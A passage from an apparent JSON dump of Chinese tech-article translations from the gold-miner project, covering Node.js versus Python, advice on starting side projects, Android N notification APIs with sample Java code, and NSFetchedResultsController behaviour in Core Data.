的长处，开发者必须非常清楚什么情况下能使用，什么情况下不能使用。他们必须对这两个平台的优点、缺点、功能和平台的使用都有充分的了解。\n\n## Node.js 的出色之处\n\nNode.js 是纯 JavaScript 的并且学习曲线很低，很容易学习。在多数情况下，Node.js 比 Python 快。Python 在初始阶段比较慢。也许，Node.js 是目前实时 web 应用最好的平台，这些实时 web 应用需要处理**输入队列、数据流和代理**。Node.js 在聊天应用相关的场景发挥得最好，比如实时**股票交易**。\n\n## Node.js 的逊色之处\n\nNode.js 没有清晰的代码标准。不推荐使用 Node.js 做大型项目，除非你有一个受过编码风格训练的开发团队。项目中的每个开发者必须遵循 **Promise** 库或者 **Bluebird**，并且必须维护一套严格的风格手册以避免项目中断。\n\n在使用 Node.js 实现较大的项目时，调试以及增加新特性可能会给开发者带来痛苦。当使用动态语言时，开发者可能在 IDE 中找不到足够的有用函数。在大型项目中，Node.js 的回调函数、错误处理和整体的可维护性可能会有问题。Node.js 适合在仅实现较少脚本功能的小型项目中使用，并且速度很快。\n\n## Python 的出色之处\n\n使用 Python 最大的优点是你只需要写少量的代码就行，并且它是一个干净的平台。学习这个平台没有那么容易，但是从长远的角度考虑，学习者可以容易地克服这个问题。这个平台可维护性很好，并且可以用更少的时间排错。紧凑的语法使用起来非常简单。它是一种具有价值标准的语言，且很容易调试和修复错误。\n\nPython 由一些比 PHP 好的函数库组成。导入的异常和命名空间真的很好，没有任何问题。简单地讲，Python 可以做任何 PHP 代码可以做的事情，并且这些可以以更快的速度完成。因此，使用 Python 开发大型项目时，开发者可能不会面临任何重大的问题。\n\n## Python 的逊色之处\n\nPython 在运行时环境中的性能没有 Java 快。对于内存密集的活动来说，它不是最佳选择。它是解释型语言，和 Java 或者 C/C++ 相比存在初始性能下降的问题。\n\n简单地说，Python 不适合开发涉及图形和需要更多 CPU 的高档 3D 游戏。Python 还在发展中，新增功能的文档比较糟糕。同样，和 PHP、Java 或者 C 相比，它的教程很少。\n\n## 联合使用\n\nNode.js 使用内置即时编译器的 V8 JavaScript 解释器来提高 web 应用的速度。Python 也有一个叫 PyPy 的内置解释器。不过它还不支持 3.5.1 版本的 Python。最后，古话说，编程语言无好坏之分。让网站或应用焕发生命力的是大脑、眼睛和双手，正是它们在开发之时将语言的精髓运用自如。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/nothing-will-change-until-you-start-building.md",
    "content": "> * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)\n> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[owenlyn](https://github.com/owenlyn)\n> * 校对者：[luoqiuyu](https://github.com/luoqiuyu),[Tina92](https://github.com/Tina92)\n\n---\n\n![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)\n\n# 真正行动之前 你将一无所成\n\n就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她既想写一本儿童书籍，又想开发一个帮助人们找到停车位置的软件，还想找到一种更高效的打包礼物的方式，但问题是她总是犹豫不决：她有很多想法但却不知道从何开始。\n\n接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你想做一个 APP ，那就从构建草图开始。任何人都可以做到这些。\n\n这个建议适用于所有的创作者。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。\n\n你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品缔造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 \n\n在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的采访中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 然而现在， Baremetrics 每个月都会有 60，000 美金进账。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)\n\n记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。\n\n---\n\n### 1. 确定目标\n\n在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就钻研代码；如果你想获得大量用户，就把精力用在销售上。\n\n**尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、编码、销售等能力。\n\n### 2. 保持进展\n\n有一些产品没能完成的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。\n\n![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)\n\n另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到流程图一类的东西，并常常带来有价值的投入。\n\n我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。\n\n### 3. 解决一个问题\n\n解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。\n\n比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 占领了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时之内就拿到了来自陌生人的一百美元订单。\n\n**你解决的痛点越大，就越容易找到用户。**\n\n同时，尝试从各个不同的角度寻找解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。\n\n想要了解更多关于这方面内容的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的起点。\n\n### 4. 放弃”好主意/坏主意“的想法\n\n当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。\n\n**相当一部分看起来很糟糕的点子最后却造就了一些伟大的公司。** 比如，当年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。\n\n![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)\n\n唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。\n\n### 5. 寻求帮助\n\n当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人愿意去帮助一个陌生人（对，就是你）。**\n\n我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。\n\n在寻求帮助的时候，请准备好的你的问题，并尽可能具体。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。\n\n---\n\n开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。\n\n所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。\n\n你现在在做什么项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。\n\n我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/notifications-in-android-n.md",
    "content": ">* 原文链接 : [Notifications in Android N](https://android-developers.blogspot.hk/2016/06/notifications-in-android-n.html)\n* 原文作者 : Ian Lake\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 :[DeadLion](https://github.com/DeadLion)\n* 校对者:[danke77](https://github.com/danke77), [xcc3641](https://github.com/xcc3641)\n\n# 来瞧瞧 Android N 中的通知长成啥样了 \n\nAndroid 通知往往是应用和用户之间至关重要的交互形式。为了提供更好的用户体验，Android N 在通知上做出了诸多改进：收到消息后的视觉刷新，改进对自定义视图的支持，扩展了更加实用的直接回复消息的形式，新的 `MessagingStyle`，捆绑的通知。\n\n### 同样的通知，不一样的“面貌”\n\n首先，最明显的变化是通知的默认外观已经显著改变。除了应用程序的图标和名称会固定在通知内，很多分散在通知周围的字段也被折叠进新的标题行内。这一改变是为了确保尽可能腾出更多空间给标题、文本和大图标，这样一来通知就比现在的稍大些，更加易读。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f4w3pakcdrj20hs0853zv.jpg)\n\n给出单标题行，这就比以往的信息更加重要且更有用。**当指定 Android N 时，默认情况下，时间会被隐藏** - 对时间敏感的通知（比如消息类应用），可以 `setShowWhen(true)` 设置重新启用显示时间。此外，现在 subtext 会取代内容消息和数量的作用：数量是绝不会在 Android N 设备上出现的，除非指定之前的 Android 版本，而且不包含任何 subtext，内容消息将会显示。在所有情况下，都要确保 subtext 是相关且有意义的。例如，如果用户只有一个账号，就不要再添加邮箱账户作为 subtext 了。\n\n通知收到后的操作也重新设计了，现在视觉上是在通知下方单独的一栏中。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f4w3pwyytkj20b203vdfw.jpg)\n\n你会注意到，图标都没有出现在新的通知中；取而代之的是，将通知内有限的空间提供给了标签本身。然而，在旧版本的 Android 和设备上，通知操作图标仍然需要且被继续使用，如 Android Wear 。\n\n如果你使用 [NotificationCompat.Builder](https://developer.android.com/reference/android/support/v4/app/NotificationCompat.Builder.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog) 创建了自己的通知，那么可以使用标准样式，无需修改任何代码就能变成默认的新样子。\n\n### 更好的支持自定义视图\n\n\n如果要从自定义 `RemoteViews` 创建自己的通知，以适应任何新的样式一直以来都很具有挑战性。随着新的 header，扩展行为，操作，和大图标位置都作为元素从通知的主要内容标题中分离出来，我们已经介绍一种新的 `DecoratedCustomViewStyle` 和 `DecoratedMediaCustomViewStyle` 提供所有这些元素使用， 这样就能使用新的 `setCustomContentView()` 方法，专注于内容部分。\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f4w3qquphlj209p03hglr.jpg)\n\n\n这也确保未来外观改变了，也能轻易的随着平台更新，适配这些样式，还无需修改 app 端的代码。\n\n### 直接回复\n\n\n虽然通知是可以用来启动一个 `Activity`，或以一个 `Service` 、`BroadcastReceiver` 的方式在后台工作，**直接回复** 允许你使用通知操作直接在内嵌输入框中回复。\n\n![](http://ww2.sinaimg.cn/large/a490147fjw1f4w3r9gdt2j207l02pt8n.jpg)\n\n直接回复使用相同的 [RemoteInput](https://developer.android.com/reference/android/support/v4/app/RemoteInput.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog) API，最初是为 Android Wear 某个 [Action](https://developer.android.com/reference/android/support/v4/app/NotificationCompat.Action.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog)用的，为了能直接接收用户的输入。\n\n`RemoteInput` 本身包含信息，如将用于以后恢复输入的秘钥，在用户开始输入之前的提示信息。\n\n<pre>// Where should direct replies be put in the intent bundle (can be any string)\nprivate static final String KEY_TEXT_REPLY = \"key_text_reply\";\n\n// Create the RemoteInput specifying this key\nString replyLabel = getString(R.string.reply_label);\nRemoteInput remoteInput = new RemoteInput.Builder(KEY_TEXT_REPLY)\n        .setLabel(replyLabel)\n        .build();\n\n</pre>\n\n一旦已经构造好 `RemoteInput` ，可以通过恰当命名的 [addRemoteInput()](https://developer.android.com/reference/android/support/v4/app/NotificationCompat.Action.Builder.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog#addRemoteInput(android.support.v4.app.RemoteInput)) 方法附加到 Action 上。也可以考虑调用 `setAllowGeneratedReplies(true)` 方法允许 [Android Wear 2.0](https://developer.android.com/wear/preview/index.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog) 生成[智能回复](https://developer.android.com/wear/preview/api-overview.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog#smart-replies)，方便用户快速回应。\n\n<pre>// Add to your action, enabling Direct Reply for it\nNotificationCompat.Action action =\n    new NotificationCompat.Action.Builder(R.drawable.reply, replyLabel, pendingIntent)\n        .addRemoteInput(remoteInput)\n        .setAllowGeneratedReplies(true)\n        .build();\n\n</pre>\n\n请记住，在 Marshmallow 中，被传入 `Action` 的 `pendingIntent` 应该是一个 `Activity`。更低版本的设备不支持直接回复（你可能会想解锁屏幕，启动一个 `Activity`，然后聚焦到用户回复的输入框中），Android N 设备上 `Service`（如果你想要在一个单独的线程中运行） 或 `BroadcastReceiver`（运行在 UI 线程中） 即便处于锁频状态，后台也能处理文本输入。（在系统设置中有一个独立的用户选项，可以启用/禁用锁定设备的直接回复功能。）\n\n在 `Service`/`BroadcastReceiver` 中提取输入的文本，可能需要 [RemoteInput.getResultsFromIntent()](https://developer.android.com/reference/android/support/v4/app/RemoteInput.html#getResultsFromIntent(android.content.Intent)) 的帮助。\n\n<pre>private CharSequence getMessageText(Intent intent) {\n    Bundle remoteInput = RemoteInput.getResultsFromIntent(intent);\n    if (remoteInput != null) {\n        return remoteInput.getCharSequence(KEY_TEXT_REPLY);\n    }\n    return null;\n }\n\n</pre>\n\n处理文本后，**必须更新通知**。这将触发隐藏直接回复 UI，这可以作为一种技巧来确认用户是否收到回复并正确处理。\n\n对于大多数模板，这将涉及使用新的 `setRemoteInputHistory()` 方法，将答复追加到通知底部。更多回复应该追到历史记录下，直到主要内容更新（比如别人的回复）。\n\n![](http://ww1.sinaimg.cn/large/a490147fjw1f4w3rp4glij20b408qt9x.jpg)\n\n不过，如果你是在做一个消息应用，期待着“你来我往”的对话，那就应该用 `MessagingStyle`，将额外消息追加上去。\n\n\n### MessagingStyle\n\n我们已经优化过正在对话状态中消息的显示，用新的 `MessagingStyle` 直接回复。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4w3s4fxm7j20b405iglr.jpg)\n\n对于通过多 `addMessage()` 方法增加多条消息，这种风格提供内置的格式化。每个消息支持通过文本本身、 一个时间戳，以及消息的发送人来增加（使它易于支持组对话）。\n\n<pre>builder.setStyle(new NotificationCompat.MessagingStyle(\"Me\")\n    .setConversationTitle(\"Team lunch\")\n    .addMessage(\"Hi\", timestampMillis1, null) // Pass in null for user.\n    .addMessage(\"What's up?\", timestampMillis2, \"Coworker\")\n    .addMessage(\"Not much\", timestampMillis3, null)\n    .addMessage(\"How about lunch?\", timestampMillis4, \"Coworker\"));\n\n</pre>\n\n你可能会注意到，这种风格能很好的支持特殊用户消息的展示，填写它们的名字（上例中的“Me”），设置一个可选的对话标题。\n虽然可以手动通过 “BigTextStyle” 来完成，使用这种风格的 Android Wear 2.0 用户能立即得到内置响应，不会被“踢出”扩展通知视图，无需创建完整的穿戴（Android Wear）应用就能达到无缝体验。\n\n### 捆绑通知\n\n一旦你想建立了一个“巨牛逼”的通知，通过使用新的视觉设计，直接回复，`MessagingStyle`还有[所有之前最佳实践](https://www.youtube.com/watch?v=-iog_fmm6mE),但考虑通知的整体体验也很重要，尤其是发送多条通知的情况（每个正在进行的谈话或每个新的电子邮件线程）。\n\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f4w3suh75sj20hs05ujrp.jpg)\n\n**捆绑通知** 提供两全其美的办法: 一个单独的概要通知，当用户在看其他通知或者想要同时操作所有通知时在个别通知上扩展了组操作能力（包括使用操作和直接回复）。\n\n如果你为 Android Wear 创建了 [堆通知](https://developer.android.com/training/wearables/notifications/stacks.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog)，这里使用的 API 是完全一样的。只需将 [setGroup()](https://developer.android.com/reference/android/support/v4/app/NotificationCompat.Builder.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog#setGroup(java.lang.String)) 添加到每个单独通知中，将那些通知“绑定”到一起。不仅限于绑定成一组，所有捆绑通知是十分灵活的。对于邮件应用，可能考虑每个账户的邮件“捆”成一组。\n\n创建概要通知也是很重要的。这个概要通知，通过 [setGroupSummary(true)](https://developer.android.com/reference/android/support/v4/app/NotificationCompat.Builder.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog#setGroupSummary(boolean)) 展示通知，这也是唯一支持 Marshmallow 和更低版本的设备的通知，会归纳所有个人通知（你猜对了）。这是使用 InboxStyle 的最佳时机，虽然没有要求用它。在 Android N 或更高版本设备上，从概要通知上提取的某些信息（如 subtext、content intent 和 delete intent），来为捆绑通知生成 collapsed 通知，所以你应该继续在所有 API级别上生成概要通知。\n\n为了提升所有 Android N 设备的用户体验，**发送 4 个或者更多通知时没有以组的方式，这些通知将自动合并成一组**\n\n### 为通知而生的 Android N\n\n通知在 Android 上是一直不断改进的功能。从 Gingerbread 时代的单击目标，到可扩展通知，操作，MediaStyle 以及现在的直接回复，绑定通知。通知在 Android 用户体验上扮演着不可或缺的一部分。\n\n随着许多新工具可使用（[NotificationCompat](https://developer.android.com/reference/android/support/v4/app/NotificationCompat.html?utm_campaign=android_series_notificationsandroidnblog_060816&utm_source=anddev&utm_medium=blog) 能帮助保持向后兼容），我已经迫不及待的想看看如何用这些工具创建更好的应用。\n"
  },
  {
    "path": "TODO/nsfetchedresultscontroller-woes.md",
    "content": "> * 原文地址：[NSFetchedResultsController Woes](https://medium.com/bpxl-craft/nsfetchedresultscontroller-woes-3a9b485058#.5gva2sils)\n* 原文作者：[Michael Gachet](https://medium.com/@6Be)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Siegen](https://github.com/siegeout)\n* 校对者：[Gran](https://github.com/Graning) ，[cbangchen](https://github.com/cbangchen)\n\n# 一些 NSFetchedResultsController 使用报错解决方案\n\n### NSFetchedResultsController 困境\n\n_NSFetchedResultsController_ 是关于 iOS 的 Core Data 开发的一个主要部分。自 iOS 3系统开始引入这个类之后，这个类就负责高效的管理 Core Data 实体的集合。\n\n\n在过去的六年里，我使用这个控制器，并为它设置了[各种类型的 Core Data  栈配置](https://medium.com/bpxl-craft/thoughts-on-core-data-stack-configurations-b24b0ea275f3)来管理我所有的项目。最近，在为 Black Pixel 的一个大客户制作的项目上，我们决定使用一个标准的 “sibling”（同级）Core Data 栈配置：\n\n\n*   一个 _NSFetchedResultsController_ 被用来从主要 UI context 的存储器里获取对象。这个主要的 context 过去只被用来从存储器里读取内容。\n*   后台 context，它被用来从服务器端获取实体，被连接到跟主要 UI context 同级的持久化存储协调者上。\n*   主要 context 被设置成这样的状态————每当后台 context 存储变化到存储器的时候，主要 context 都会自动合并来自后台 context 的变化。\n\n出乎我的意料，我最终遇到了一些奇怪的问题即 the_NSFetchedResultsController_ 有时和存储器里的内容不同步，这导致了一些存在的符合 _NSFetchedResultsController_ 过滤条件的实体却永远无法获取到。\n\n这么基础的问题是怎么发生的呢？\n\n\n#### 一些解释和解决措施。\n\n一次快速的谷歌搜索获得一些答案。一个特别的答案对[ _NSFetchedResultsController_ 是怎么出错的](http://stackoverflow.com/questions/16296364/nsfetchedresultscontroller-is-not-showing-all-results-after-merging-an-nsmanage?lq=1)提供一份详细的解释.这里是给出的解释（备注: FRC = _NSFetchedResultsController_ ）\n> 1\\. 一个 FRC 设置的过滤条件并不能匹配所有的对象（这样可以避免不符合过滤条件的对象被注册到 FRCs context 里）\n\n> 2\\.第二个 context 使一个对象做产生了一个变化，这意味着它现在符合FRC的过滤条件。第二个 context 被保存下来。\n\n> 3\\. FRC context 处理 _NSManagedObjectContextDidSaveNotification_ 的方法只是更新它已经注册过的对象。所以，FRC 无法更新现在符合FRC过滤条件的对象。\n\n> 4\\. 当有一个保存发生时，FRC 不进行再一次的抓取，所以它意识不到更新了的对象应该被包括在内。\n\n\n我被上面的第三点陈述所困扰。\n\n下面是提出的解决措施：\n\n> 这个解决措施就是当合并消息通知的时候抓取所有的更新对象。\n\n这个措施是在 _NSManagedContextDidSaveNotification_ _userInfo_ 包含的每一个更新对象上调用 _refreshObject(_:mergeChanges:)_ 方法。\n\n另外一些解释（举个例子，“[Core Data Gotcha](http://www.mlsite.net/blog/?p=518)” 和“[NSFetchedResultsController with predicate ignores changes merged from different NSManagedObjectContext](http://stackoverflow.com/questions/3923826/nsfetchedresultscontroller-with-predicate-ignores-changes-merged-from-different?lq=1)”两篇文章提到当 _NSManagedContextDidSaveNotification_ 被触发时，上下文中的某些对象可能是错误的对象，需要在调用 _mergeChangesFromContextDidSaveNotification_ 方法之前被移除。）\n\n这里的解决方法是在 _NSManagedContextDidSaveNotification_ _userInfo_ 包含的每一个更新对象上调用 _willAccessValueForKey(nil)_ 方法，然后调用 _mergeChangesFromContextDidSaveNotification()_ 方法。\n\n\n#### 深度调查的时间\n\n当这个项目进行到关键时候，我采用了第一个解决方案，它解决了一系列的新问题，但是始终没有让我满意。我想要理解究竟是什么地方出了问题并且验证一些我正在阅读的令我烦恼的主张。\n\n这些研究的目的是：\n\n*   指出当变化从一个 context 被合并到另一个 context 的时候正在发生些什么：在目标 context 里的是什么？在通知集合里的是什么？\n*   指出在什么情况下 _NSFetchedResultsController_ 会表现的与预期不符。\n*   改善提出的各种解决方法。\n\n### 研究设置\n\n这个研究使用一个单机的 iOS 应用进行，它按照如下内容进行设置：\n\n#### Core Data栈\n\n这个 Core Data 栈是一个非常基础的 _“sibling”_ 栈，它有着以下内容：\n\n*   一个主要的 context（_MainQueueConcurrencyType_）被用作只读的 context 。\n*   一个后台 context (_PrivateQueueConcurrencyType_) 可以读写.\n\n\n主要 context 和后台 context 是同级关系并且都直接连接到 _NSPersistentStoreCoordinator_ 上。当在后台存储变化的时候，这些变化通过调用 _mergeChangesFromContextDidSaveNotification() 方法被自动合并到主要 context 。\n\n#### Core Data模型\n\n我们使用一个包含一个单独实体 _TestDummy_ 的简单模型，它有三个属性：_id: Int_ , _name: String_, _isEven: Bool_.\n\n#### UI和主要视图控制器\n\n我们有一个单独的视图控制器，它有在 Core Data 栈获得两个 context 的权限并且允许其中的一个有以下的功能：\n\n*   在后台 context 中插入，更新，删除对象。\n*   保存主要 context 和后台 context。\n*   展示被 _NSFetchedResultsController_ 的两个实例获取的两个 context 的对象信息.\n\n这个控制器也负责控制在主要 context 里 _NSManagedObjectContextDidSaveNotification_ 消息是如何被接收的。默认设置是除了 _mergeChangesFromContextDidSaveNotification()_ 方法调用以外什么都不会发生。\n\n#### NSFetchedResultsController\n\n两个 FRC 的实例被主要视图控制器管理：\n\n\n*   一个实例在主要 UI context 中获取所有的 _TestDummy_ 对象。这个实例被称为“主要 FRC”。\n*   一个实例在后台 context 中获取所有的 _TestDummy_ 对象。这个实例被称为“后台 FRC”。\n\n主要 context FRC 可以使用两个过滤条件：要么获取所有 _TestDummy_ 实体要么只是把那些实体标记 _isEven_ == _true_。\n\n### 让我们把他们全部拿到！\n\n\n我们开始设置主要 FRC 来获取所有的 _TestDummy_ 实体，然后我们观察在后台 context 发生的三个不同场景：插入，更新和删除。\n\n#### 插入对象\n\n\n我们进行了下面的简单测试：\n\n\n1.  在后台 context 中插入4个实体。\n2.  保存后台 context。\n\n插入操作导致了下面的情况：\n\n\n1.  后台的 _insertedObjects_ 属性内容在保存操作之前与 _registeredObjects_ 的属性内容是匹配的。\n2.  后台FRC获取的对象与 _registeredObjects_ 集合是匹配的。\n\n正如预期的那样，在后台 context 保存的所有变化被推送到主要 context ：\n\n1.  主要 context 与后台 context 中的 _registeredObjects_ 内容应该是完全一样的.\n2.  主要 FRC 获取到的对象应该与主要 context 中的 _registeredObjects_ 集合相匹配。\n3.  主要 FRC 通知它的 _delegate_ 插入操作已经发生了。\n\n顺便需要注意的是：保存后台 context 会把后台 context 的 _insertedObjects_ 集合重置为 _nil_ 。\n\n#### 更新对象\n\n想要理解更新对象的时候发生了什么需要我们更深入的研究，看下面两个交替的场景。\n\n\n**场景 #1**\n\n1.  在后台 context 中插入四个实体。\n2.  改变实体0和实体2的 _isEven_（从 _false_ 改为 _true_ ）和 _title_ 属性参数，然后更新它们。\n3.  保存后台 context 。\n\n**场景 #2**\n\n1.  在后台 context 插入4个实体。\n2.  保存后台 context。\n3.  像以前一样更新实体0和实体2。\n\n**结果**\n\n考虑到 Core Data，在保存后台 context 之前已经被插入并更新的对象被视作已插入。这意味着如果你检查后台 context 的 _updatedObjects_ 集合，在收到变化通知之前它都是空的（在更新之后，它不会是空的）。这是我们预料到的结果，但是它还是让我们有些惊讶。\n\n\n第二个场景更加直接。由于对象在被更新之前已经被保存下来，它们将在后台的 _updatedObjects_ 集合中出现。这是和我们预期相一致的。\n\n主要的 FRC 再次表现的跟预期的相一致：它获取到所有的实体并且正确的通知了它的 _delegate_。\n\n#### 删除对象\n\n删除操作我们也需要看两个不同的场景。但是，这个删除操作的例子不像插入和更新那么有趣，直到涉及到主要 FRC 。确实如果一个对象被注册到主要 context ，FRC 将会与这个将被删除的对象进行交互。\n\n\n最有趣的一些发现是：\n\n*   在保存后台 context 之前，进行删除后台 context 对象的操作会把 _deletedObjects_ 集合中的对象删除，\n*   在保存变化之后，像我们预料的一样，进行删除对象的操作会把这些对象放入 _deletedObjects_ 集合。\n*   后台 context 的 _registeredObjects_ 和 _deletedObjects_ 集合的内容在保存期间可能会有一个短暂的反射状态，所以需要小心使用。\n*   主要 context 将包含所有后台 context 产生的变化。 (换言之,  _registeredObjects_ 集合在删除操作之前会包含所有的对象, _deletedObjects_ 集合将包含被删除的对象)。\n*   再一次的，主要 FRC 正确的应对了所有变化。\n\n\n#### 结论和领悟\n\n如果一个 FRC 的 _delegate_ 没有被设置：\n\n\n*    _fetchedObjects_ 队列将只包含初始化时获取到的对象。\n*    当对象变化时或者 FRC 初始化的 context 被保存时，FRC 收不到通知。\n\n如果主要 FRC 的 _delegate_ 被设置了，它将表现的像预期的那样：实体和 FRC 的获取请求相一致。\n\n*   当后台 context 把它的变化合并到主要 context 的时候，在后台 context 中插入、更新或者删除的对象都会被正确的获取（删除）。\n*   在后台 context 删除一个持久化对象 (即拥有一个持久化 ID 并保存到存储器的对象)会影响到主要 context ，因为这些对象在主页 context 中注册过。\n\n但是，这些测试是非常特殊的：主要 FRC 被设置获取所有的 _TestDummy_ 实体，这在一个真正的应用中是很少见的。\n\n### 让我们只获取一个子集!\n\n为了让测试变得更加真实，我们进行和之前同样的测试，只是做一些细小的改变。主要 FRC 现在被设置成只获取属性为 _isEven == true__ 的 TestDummy_ 实体。让我们看看发生了什么。\n\n\n当实体在后台 context 被插入时，_isEven_ 属性被设置成了 _false_。所以，在后台插入对象并保存他们之后，没有实体将被主要 FRC 获取到。但是如果我们按照下面的做法去做会发生什么呢？\n\n\n*   我们插入符合主要 FRC 的过滤条件的实体？\n*   我们更新实体来符合主要 FRC 的过滤条件？\n\n#### 插入匹配的实体\n\n\n当匹配主要 FRC 的实体在后台 context 里被被插入的时候，在后台 context 保存的时候他们将会被主要 FRC 正确的获取到。\n\n#### 更新实体来匹配主要的 FRC 过滤条件\n\n这个方法有些麻烦。在我们之前的陈述中，更新一个实体会有不同的表现，这取决于这个实体是否已经被保存了。\n\n*  如果这些实体在后台 context 中被插入，更新了来匹配主要 FRC 的过滤条件，然后被保存，这个主要 FRC 将会获取到这些实体。所有的都表现的仿佛那些实体已经被插入来匹配最开始的过滤条件。\n*   另一方面，如果实体被插入了，保存了，然后被更新来匹配主要 FRC 过滤条件， **他们将无法被主要 FRC 获得**。\n\n#### 看看潜在的解决方案\n\n我们能想到四种方法来应对这个问题，在这一节我们将一一讨论。\n\n#### 改变栈配置\n\n\n记住这个方案是应用于这样的配置环境：当后台 context 中发生变化后，这些变化会被推送到持久化存储协调者中，然后被合并到主要 context 